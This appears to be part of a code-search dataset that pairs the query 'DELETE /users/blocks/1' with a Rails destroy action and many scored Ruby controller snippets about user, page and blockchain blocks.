"def post_data\n message=\"\"\n gal_block_params = { :id => params[:id],:block_number => params[:block_number],:xOrigin => params[:xOrigin],:yOrigin => params[:yOrigin],:feature_diameter => params[:feature_diameter],:xFeatures => params[:xFeatures],:xSpacing => params[:xSpacing],:yFeatures => params[:yFeatures],:ySpacing => params[:ySpacing],:gal_header_id => params[:gal_header_id],:microarraygal_id => params[:microarraygal_id] }\n case params[:oper]\n when 'add'\n if params[\"id\"] == \"_empty\"\n gal_block = GalBlock.create(gal_block_params)\n message << ('add ok') if gal_block.errors.empty?\n end\n \n when 'edit'\n gal_block = GalBlock.find(params[:id])\n message << ('update ok') if gal_block.update_attributes(gal_block_params)\n when 'del'\n GalBlock.destroy_all(:id => params[:id].split(\",\"))\n message << ('del ok')\n when 'sort'\n gal_blocks = GalBlock.all\n gal_blocks.each do |gal_block|\n gal_block.position = params['ids'].index(gal_block.id.to_s) + 1 if params['ids'].index(gal_block.id.to_s) \n gal_block.save\n end\n message << \"sort ak\"\n else\n message << ('unknown action')\n end\n \n unless (gal_block && gal_block.errors).blank? \n gal_block.errors.entries.each do |error|\n message << \"<strong>#{GalBlock.human_attribute_name(error[0])}</strong> : #{error[1]}<br/>\"\n end\n render :json =>[false,message]\n else\n render :json => [true,message] \n end\n end",
"def update\n @block = Block.find(params[:id])\n\n respond_to do |format|\n if @block.update_attributes(params[:block])\n format.html { redirect_to blocks_path, :notice => 'Блок успешно обновлен' }\n format.mobile { redirect_to blocks_path, :notice => 'Блок успешно обновлен' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.mobile { render :action => \"edit\" }\n format.json { render :json => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_block\n @request = JSON.parse(request.body.read, {:symbolize_names => true})\n @block = Block.find_by(prev_block: @request[:prev_block])\n end",
"def set_blocks(x0,y0,z0,x1,y1,z1,block)\n @api.send(\"world.setBlocks(#{x0},#{y0},#{z0},#{x1},#{y1},#{z1},#{block.as_parameter_list})\")\n end",
"def create\n @roadblock = Roadblock.new(roadblock_params)\n @roadblock.user1_id = @user.id\n @roadblock.course_id = current_course.id\n @roadblock.enrollment_id = current_enrollment.id\n respond_to do |format|\n if @roadblock.save\n format.html { redirect_to '/' }\n format.json { render action: 'show', status: :created, location: @roadblock }\n else\n format.html { render action: 'new' }\n format.json { render json: @roadblock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @userblock = Userblock.find(params[:id])\n @userblock.destroy\n\n respond_to do |format|\n format.html { redirect_to(userblocks_url) }\n format.xml { head :ok }\n end\n end",
"def create\n if not signed_in?\n redirect_back_or signin_path\n end\n @home_page_block = HomePageBlock.new(home_page_block_params)\n\n respond_to do |format|\n if @home_page_block.save\n format.html { redirect_to @home_page_block, notice: 'Блок успешно создан!' }\n format.json { render :show, status: :created, location: @home_page_block }\n else\n format.html { render :new }\n format.json { render json: @home_page_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cp_block_params\n params.require(:block).permit(:name, :text, :title, :description, :keywords)\n end",
"def blocking_params\n params.require(:blocking).permit(:blocker_id, :blocking_id)\n end",
"def create\n @block_log = BlockLog.new(params[:block_log])\n\n respond_to do |format|\n if @block_log.save\n format.html { redirect_to @block_log, notice: 'Block log was successfully created.' }\n format.json { render json: @block_log, status: :created, location: @block_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @block_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @userblocks = Userblock.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @userblocks }\n end\n end",
"def block request_pb, options:, &block\n request_json = JSON.parse ::Google::Showcase::V1beta1::BlockRequest.encode_json(request_pb)\n\n uri = \"/v1beta1/echo:block\"\n body = request_pb.to_json\n\n result_json = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n &block\n )\n\n ::Google::Showcase::V1beta1::BlockResponse.decode_json result_json[:body]\n end",
"def update\n @userblock = Userblock.find(params[:id])\n\n respond_to do |format|\n if @userblock.update_attributes(params[:userblock])\n flash[:notice] = 'Userblock was successfully updated.'\n format.html { redirect_to(@userblock) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @userblock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def order_blocks\n group = params[:group]\n @user = User.current\n if group.is_a?(String)\n group_items = (params[\"blocks\"] || []).collect(&:underscore)\n group_items.each {|s| s.sub!(/^block_/, '')}\n # remove group blocks if they are presents in other groups\n group_items.each {|s| @user.pref.remove_block(s)}\n @user.pref.my_page_layout[group] = group_items\n @user.pref.save\n end\n head 200\n end",
"def create\n @block = Post::CreateBlock.new(@post, find_block).perform\n end",
"def blocked\n @user = User.find(params[:id])\n @user.block!\n redirect_to dashboard_listing_path\n end",
"def new_block(amount, payer, payee, key_private)\r\n timestamp = Time.now.to_i\r\n signature = sign_block(key_private, Time.now)\r\n if ($blockchain.length == 0)\r\n prev_hash = \"0000000000000000000000000000000000000000000000000000000000000000\" # If First Block, No Previous Hash So 64 Zeroes Default\r\n else\r\n prev_hash = $blockchain[$blockchain.length-1].hash # Hash Of Previous Block\r\n end\r\n blob = amount.to_s + payer.to_s + payee.to_s + timestamp.to_s + prev_hash.to_s\r\n begin\r\n if ($blockchain.length > 0) # Send To All Miners If Not Genesis Block\r\n $peers.length.times do |i|\r\n Thread.new { Faraday.post(\"#{URL}:#{$peers[i].port}/mine_block\", amount: amount, payer: payer, payee: payee, timestamp: timestamp, signature: signature, prev_hash: prev_hash) if ($peers[i].port != payer) }\r\n end\r\n else # Send To First Port If Genesis Block\r\n Faraday.post(\"#{URL}:1801/mine_block\", amount: amount, payer: payer, payee: payee, timestamp: timestamp, signature: signature, prev_hash: prev_hash)\r\n end\r\n rescue\r\n # Miner Never Sent Response (Do Nothing)\r\n end\r\nend",
"def set_block\n @block = Block.find(params[:id])\n\n\n end",
"def new\n @block = Block.new\n\t@conferences = Conference.all\n\t@tracks = Track.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @block }\n end\n end",
"def new\n @visit_block = VisitBlock.new\n @user = current_user\n @client_prices = current_user.client_prices\n @clients = current_user.account.clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit_block }\n end\n end",
"def new\n @block_list_server = BlockListServer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @block_list_server }\n end\n end",
"def block_type_params\n params.require(:block_type).permit(:name)\n end",
"def unblock\n user = User.find(decode_jwt(cookies.signed[:jwt])[\"user_id\"])\n #we get friend_id from frontend\n if Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).empty?\n return render json: {error: \"No block found!\"}\n end\n\n Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).destroy_all\n # byebug\n return render json: {response: \"Friend unblocked\"}\n end",
"def show\n render json: @block\n end",
"def do_create\n @layer.block = @block\n if @layer.save\n redirect_to edit_block_path(@block), notice: 'Layer created'\n else\n render action: \"new\"\n end\n end",
"def user_blocking_params\n params.require(:user_blocking).permit(:blocked_user_id)\n end",
"def update\n respond_to do |format|\n if @block.update(block_params)\n format.html { redirect_to @block, notice: 'Block was successfully updated.' }\n format.json { render :show, status: :ok, location: @block }\n else\n format.html { render :edit }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def block\n requestor = User.find_by_email @requestor\n target = User.find_by_email @target\n\n if requestor && target\n\n list = Subscribe.where(user: requestor, target: target).first\n if list.nil?\n list = requestor.subscribes.create target_id: target.id\n end\n list.update_attribute(:block, true)\n render json: { success: true }\n else\n render json: { success: false, message: \"email not found\" }\n end\n end"
] |
[
"0.8266645",
"0.70048237",
"0.69854116",
"0.69636035",
"0.68545735",
"0.68484443",
"0.68373317",
"0.68008536",
"0.67833334",
"0.6736109",
"0.67128116",
"0.67036885",
"0.66368484",
"0.6614877",
"0.66117805",
"0.65809923",
"0.65646106",
"0.6538575",
"0.6504471",
"0.6360691",
"0.6311754",
"0.62947905",
"0.6291171",
"0.6262604",
"0.625425",
"0.6252",
"0.62312084",
"0.6208391",
"0.61858755",
"0.61615175",
"0.6160152",
"0.6127525",
"0.61034405",
"0.60964334",
"0.60901916",
"0.6089612",
"0.60825706",
"0.6054911",
"0.60492283",
"0.602279",
"0.60202765",
"0.60105366",
"0.60043806",
"0.6003458",
"0.6000331",
"0.59959763",
"0.5952641",
"0.5935908",
"0.59236085",
"0.59146166",
"0.5906929",
"0.5903954",
"0.5903674",
"0.58909196",
"0.58710325",
"0.58626556",
"0.5847113",
"0.5831543",
"0.5830848",
"0.5814687",
"0.5804",
"0.57943934",
"0.5788316",
"0.57790697",
"0.5770548",
"0.5756384",
"0.5753059",
"0.574571",
"0.5720073",
"0.5713994",
"0.57028335",
"0.57027996",
"0.5681898",
"0.56815326",
"0.56740236",
"0.56707203",
"0.56513196",
"0.56212324",
"0.5618711",
"0.5614563",
"0.55999595",
"0.5594675",
"0.5591008",
"0.55848396",
"0.55848396",
"0.5581095",
"0.5574727",
"0.55740243",
"0.55583924",
"0.55442274",
"0.5540413",
"0.55177265",
"0.55164194",
"0.5516264",
"0.55098414",
"0.55036795",
"0.5503099",
"0.5487064",
"0.54836017",
"0.54770166"
] |
0.7893728
|
1
|
DELETE /users/blocks/1 DELETE /users/blocks/1.json
|
def destroy
@users_block.destroy
respond_to do |format|
format.html { redirect_to block_path, notice: 'Block was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy_block(user)\n delete \"blocks/destroy/#{user}\"\n end",
"def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @userblock = Userblock.find(params[:id])\n @userblock.destroy\n\n respond_to do |format|\n format.html { redirect_to(userblocks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block = @site.blocks.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @visit_block = VisitBlock.find(params[:id])\n @visit_block.destroy\n\n respond_to do |format|\n format.html { redirect_to visit_blocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url, notice: 'Block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path) }\n format.json { head :no_content }\n end\n end",
"def destroy\n begin\n \t@block = User.find(params[:blocked][:blocked_id])\n\t\n\t\t@user.blocked.delete(@block)\n\t\trender json: @user, status: :accepted, location: @user\n\trescue => error\n\t\trender :json => error.message, status: :unprocessable_entity\n\tend\n end",
"def delete_block\n Block.destroy(params[:id])\n render :text => \"Block with ID #{params[:id]} was successfully destroyed.\"\n end",
"def destroy\n @twitter_block = TwitterBlock.find(params[:id])\n @twitter_block.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_twitter_blocks_path, :notice => t('twitter_blocks.successfully_deleted') }\n format.json { head :ok }\n end\n end",
"def destroy\n @block_type.destroy\n respond_to do |format|\n format.html { redirect_to block_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block_type.destroy\n respond_to do |format|\n format.html { redirect_to block_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@block.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to blocks_url, notice: 'Block was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @block.destroy\n\n head :no_content\n end",
"def destroy\n @cp_block.destroy\n respond_to do |format|\n format.html { redirect_to cp_blocks_url, notice: 'Block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block = Block.find(params[:id])\n @block.destroy\n redirect_to :back\n end",
"def destroy\n @blocker = Blocker.find(params[:id])\n @blocker.destroy\n\n respond_to do |format|\n format.html { redirect_to blockers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n # delete associate block\n Block.where(parent_id: params[:id]).each do |block|\n Block.where(parent_id: block.id).destroy_all\n block.destroy\n end\n\n # delete the main block\n @block.destroy\n\n redirect_to :back\n end",
"def remove_block\n @user = User.current\n @user.pref.remove_block params[:block]\n @user.pref.save\n redirect_to my_page_layout_path\n end",
"def destroy\n @content_block.destroy\n respond_to do |format|\n format.html { redirect_to content_blocks_url, notice: 'Content block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @time_block.destroy\n respond_to do |format|\n format.html { redirect_to time_blocks_url, notice: 'Time block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roadblock.destroy\n respond_to do |format|\n format.html { redirect_to \"/roadblocks-dash\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block_log = BlockLog.find(params[:id])\n @block_log.destroy\n\n respond_to do |format|\n format.html { redirect_to block_logs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @production_block.destroy\n respond_to do |format|\n format.html { redirect_to production_blocks_url, notice: 'Production block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voting_block.destroy\n respond_to do |format|\n format.html { redirect_to voting_blocks_url, notice: 'Voting block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block_class.destroy\n respond_to do |format|\n format.html { redirect_to block_classes_url, notice: 'Block class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building_block.destroy\n respond_to do |format|\n format.html { redirect_to building_blocks_path, notice: 'Building block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def unblock\n user = User.find(decode_jwt(cookies.signed[:jwt])[\"user_id\"])\n #we get friend_id from frontend\n if Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).empty?\n return render json: {error: \"No block found!\"}\n end\n\n Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).destroy_all\n # byebug\n return render json: {response: \"Friend unblocked\"}\n end",
"def destroy\n @block_list_server = BlockListServer.find(params[:id])\n @block_list_server.destroy\n\n respond_to do |format|\n format.html { redirect_to block_list_servers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n post = @post_block.post\n @post_block.destroy\n respond_to do |format|\n format.html { redirect_to url_for(controller: 'cm/post_blocks', action: :index, post_id: post.id) }\n format.json { head :no_content }\n end\n end",
"def delete_data(path, &block)\n url = \"#{host}/api/v#{version}/#{path}\"\n params = Jbuilder.encode(&block) if block_given?\n params ||= {}\n resource = RestClient::Resource.new(\n url, \n headers: {\n \"uid\" => @uid,\n \"client\" => @client,\n \"access-token\" => @access_token\n }\n )\n resource.delete(params) do |response, request, result, &blk|\n case response.code\n when 200\n if response.blank?\n true\n else\n auth_data = {\n uid: response.headers[:uid],\n client: response.headers[:client],\n access_token: response.headers[:access_token]\n }\n JSON.parse(response).merge(auth_data)\n end\n when 404\n nil\n else\n JSON.parse(response)\n end\n end\n end",
"def destroy\n @text_block = TextBlock.find(params[:id])\n @text_block.destroy\n \n respond_to do |format|\n format.html { redirect_to text_blocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_block_material.destroy\n respond_to do |format|\n format.html { redirect_to admin_block_materials_path, notice: I18n.t('deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n if not signed_in?\n redirect_back_or signin_path\n end\n @home_page_block.destroy\n respond_to do |format|\n format.html { redirect_to home_page_blocks_url, notice: 'Блок успешно удален!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @blocker.destroy\n respond_to do |format|\n format.html { redirect_to cohort_blockers_path(@blocker.cohort), notice: 'Blocker was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteEntityAffiliate_adblock( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/affiliate_adblock\",params)\n end",
"def destroy\n @blocking_client = BlockingClient.find(params[:id])\n @blocking_client.destroy\n\n respond_to do |format|\n format.html { redirect_to blocking_clients_url }\n format.json { head :no_content }\n end\n end",
"def delete(name,&block)\n build_resource(name, :delete, &block)\n end",
"def destroy\n @blocker.destroy\n respond_to do |format|\n format.html { redirect_to blockers_url, notice: 'Blocker was successfully destroyed.' }\n format.json { head :no_content }\n Blocker.reset_pk_sequence\n end\n end",
"def unblock_user(user, blocked_user)\n username = Digest::MD5.hexdigest(user.id.to_s)\n blocked_username = Digest::MD5.hexdigest(blocked_user.id.to_s)\n begin\n response = RestClient.delete(\"#{DOMAIN}/#{ORG}/#{APP}/users/#{username}/blocks/users/#{blocked_username}\",\n \"Authorization\" => \"Bearer #{access_token}\",\n :content_type => :json,\n :accept => :json\n )\n if response.code == 200\n p response\n\n body = JSON.parse(response.body)\n p body\n end\n rescue => e\n puts e.response\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @decision_block.destroy\n respond_to do |format|\n format.html { redirect_to decision_blocks_url, notice: 'Decision block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(&block)\n @block_args.delete(block)\n end",
"def delete(params = {})\n params ||= {}\n params[:path] = @attributes[:path]\n raise MissingParameterError.new(\"Current object doesn't have a path\") unless @attributes[:path]\n raise InvalidParameterError.new(\"Bad parameter: path must be an String\") if params[:path] and !params[:path].is_a?(String)\n raise InvalidParameterError.new(\"Bad parameter: token must be an String\") if params[:token] and !params[:token].is_a?(String)\n raise MissingParameterError.new(\"Parameter missing: path\") unless params[:path]\n raise MissingParameterError.new(\"Parameter missing: token\") unless params[:token]\n\n Api.send_request(\"/locks/#{@attributes[:path]}\", :delete, params, @options)\n end",
"def destroy\n @textblock = Textblock.find(params[:id])\n @textblock.destroy\n\n respond_to do |format|\n format.html { redirect_to(textblocks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy(&block)\n delete(member_url) do |response, json|\n if block\n block.call response, json\n end\n end\n end",
"def unblock_user(id)\n delete(\"UserBlock/#{id}\")\n end",
"def delete_blocked\n end",
"def destroy(&block)\n use_callback = block_given?\n api_client.delete(sync_url(:delete)) do\n block.call() if use_callback\n end\n delete\n end",
"def destroy\r\n\t \t@codeblock = @step.codeblocks.find_by(id: params[:id])\r\n\t @codeblock.destroy\r\n\t respond_to do |format|\r\n\t format.html { redirect_to tutorial_step_url(@tutorial, @step), notice: 'CodeBlock was successfully destroyed.' }\r\n\t format.json { head :no_content }\r\n\t end\r\n\t end",
"def destroy\n @campaign_text_block = CampaignTextBlock.find(params[:id])\n @campaign_text_block.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_campaign_text_blocks_url) }\n format.xml { head :ok }\n end\n end",
"def remove_block\n block = params[:block].to_s.underscore\n @user = User.current\n # remove block in all groups\n layout = @user.pref[:my_page_layout] || {}\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n redirect_to my_page_layout_path\n end",
"def remove_block\n block = params[:block].to_s.underscore\n @user = User.current\n # remove block in all groups\n layout = @user.pref[:my_page_layout] || {}\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n redirect_to my_page_layout_path\n end",
"def destroy\n @schedule_block = ScheduleBlock.find(params[:id])\n @schedule_block.destroy\n\n respond_to do |format|\n format.html { redirect_to period_schedule_path(@period, @schedule) }\n format.json { head :ok }\n end\n end",
"def destroy\r\n @block_ttm = BlockTtm.find(params[:id])\r\n @block_ttm.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(block_ttms_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @bitcoin.destroy\n respond_to do |format|\n format.html { redirect_to bitcoins_url, notice: 'Bitcoin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def rest_delete(path, options={}, &blk)\n delete path do |*args|\n @object = yield(*args) or pass\n @object.destroy\n rest_respond :result => :success\n end\n end",
"def rest_delete(path, options={}, &blk)\n delete path do |*args|\n @object = yield(*args) or pass\n @object.destroy\n rest_respond :result => :success\n end\n end",
"def delete *args, &block\n res = @conn.delete *args, &block\n handle res, parse: false\n end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def destroy\n @document_block = DocumentBlock.find(params[:id])\n @document_block.destroy\n\n respond_to do |format|\n flash[:notice] = \"Document block <em>#{@document_block.title}</em> has been deleted.\".html_safe\n format.html {redirect_to edit_portfolio_project_path(@document_block.project_id)+\"?new_document_block=1\"}\n format.json { head :ok }\n end\n end",
"def destroy\n @ja_blocked_root = JaBlockedRoot.find(params[:id])\n @ja_blocked_root.destroy\n\n respond_to do |format|\n format.html { redirect_to ja_blocked_roots_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bloom = Bloom.find(params[:id])\n @bloom.destroy\n\n respond_to do |format|\n format.html { redirect_to blooms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @utilized_bitcoin_wallet = UtilizedBitcoinWallet.find(params[:id])\n @utilized_bitcoin_wallet.destroy\n\n respond_to do |format|\n format.html { redirect_to utilized_bitcoin_wallets_url }\n format.json { head :no_content }\n end\n end",
"def delete(user)\n Rails.logger.debug \"Call to photo.delete\"\n if !self.file.blank?\n Util.delete_image(self.file) #Delete the image file from the image server\n end\n reqUrl = \"/api/photo/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password'])#Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end",
"def unblock( id, login=@login, password=@password, type='xml' )\n \n http = Net::HTTP.new('twitter.com', 80)\n data = http.start do |http_inst|\n path = \"/blocks/destroy/#{id}.#{type}\"\n req = Net::HTTP::Post.new(path)\n \n # we make an HTTP basic auth by passing the\n # username and password\n req.basic_auth login, password\n \n resp, data = http_inst.request(req)\n data\n end\n end",
"def destroy\n #Todo: \n # update user current box record when record deleted\n\n @user_box_record = UserBoxRecord.find(params[:id])\n @user_box_record.destroy\n\n respond_to do |format|\n format.html { redirect_to user_box_records_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @day_crew_block = DayCrewBlock.find(params[:id])\n @day_crew_block.destroy\n\n respond_to do |format|\n format.js\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lock = Lock.find(params[:id])\n @lock.destroy\n\n respond_to do |format|\n format.html { redirect_to(locks_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete\n request(:delete)\n end",
"def delete(path, *data, &block)\n map(path, R3::DELETE, *data, &block)\n end",
"def destroy\n @command_item.destroy\n respond_to do |format|\n format.html { redirect_to command_items_url, notice: 'Блок успешно удален' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete(url, options={}, &block)\n http_options = options.merge(@basic_options)\n if block_given?\n RestClient.delete(url, http_options, &block)\n else\n RestClient.delete(url, http_options)\n end\n end",
"def delete(path, opts = {}, &block)\n request(:delete, path, opts, &block)\n end",
"def change_blocks(block_json)\n\n #Removal of old blocks is rolled back on errors\n Article.transaction do\n blocks.destroy_all\n block_json.each do |block|\n create_block_from_sir_trevor(block)\n end\n end\n end",
"def destroy\n @cetak_blok.destroy\n respond_to do |format|\n format.html { redirect_to cetak_bloks_url, notice: 'Cetak blok was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n \n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @bb.destroy\n respond_to do |format|\n format.html { redirect_to bbs_url, notice: 'Bb was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n \n begin\n destroy_item(Account, params[:id], params[:lock_version])\n render :response => :DELETE\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @control_list_factor.block\n respond_to do |format|\n format.html { redirect_to control_list_factors_url, notice: '' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def delete\n \n end",
"def destroy\n @users_wallet.destroy\n respond_to do |format|\n format.html { redirect_to users_wallets_url, notice: \"Wallet was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @bits_1.destroy\n respond_to do |format|\n format.html { redirect_to bits_1s_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n @basis = Base.find(params[:id])\n @basis.destroy\n\n respond_to do |format|\n format.html { redirect_to bases_url }\n format.json { head :no_content }\n end\n end",
"def delete(user)\n Rails.logger.debug \"Call to poll.delete\"\n reqUrl = \"/api/poll/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end"
] |
[
"0.7901728",
"0.7585324",
"0.7585324",
"0.75791234",
"0.75643224",
"0.7525792",
"0.74564135",
"0.74558383",
"0.7440272",
"0.72926694",
"0.7287158",
"0.7286936",
"0.72502226",
"0.7233116",
"0.7218091",
"0.7142713",
"0.7142713",
"0.7088925",
"0.70857775",
"0.70030016",
"0.6945971",
"0.68922573",
"0.6850691",
"0.68360895",
"0.68086743",
"0.6797748",
"0.6747427",
"0.6744174",
"0.67194843",
"0.67129755",
"0.66240126",
"0.6604771",
"0.6583234",
"0.6581966",
"0.65344435",
"0.6520611",
"0.64823097",
"0.6465078",
"0.63880974",
"0.63513935",
"0.6349827",
"0.63314617",
"0.62972903",
"0.62806976",
"0.6257632",
"0.6239161",
"0.6225185",
"0.6220075",
"0.6215686",
"0.6189905",
"0.6188933",
"0.61878747",
"0.6181799",
"0.61311364",
"0.61189294",
"0.61141735",
"0.6109423",
"0.6109423",
"0.6105345",
"0.606497",
"0.60399103",
"0.6038505",
"0.6038144",
"0.6009048",
"0.59933656",
"0.5979308",
"0.5962805",
"0.59376657",
"0.59324",
"0.59198356",
"0.58784777",
"0.58724254",
"0.5865839",
"0.5850124",
"0.5849604",
"0.5846475",
"0.5844836",
"0.5844664",
"0.58394426",
"0.5832934",
"0.58314455",
"0.5831018",
"0.5830944",
"0.58215624",
"0.580592",
"0.5805155",
"0.58044314",
"0.57994103",
"0.5796482",
"0.57943684",
"0.5792232",
"0.579196",
"0.5769284",
"0.57684475",
"0.5765324",
"0.5761853",
"0.5760997",
"0.5759428",
"0.5748897",
"0.5743033"
] |
0.7711706
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_users_block
@users_block = Block.find_by(id_params)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
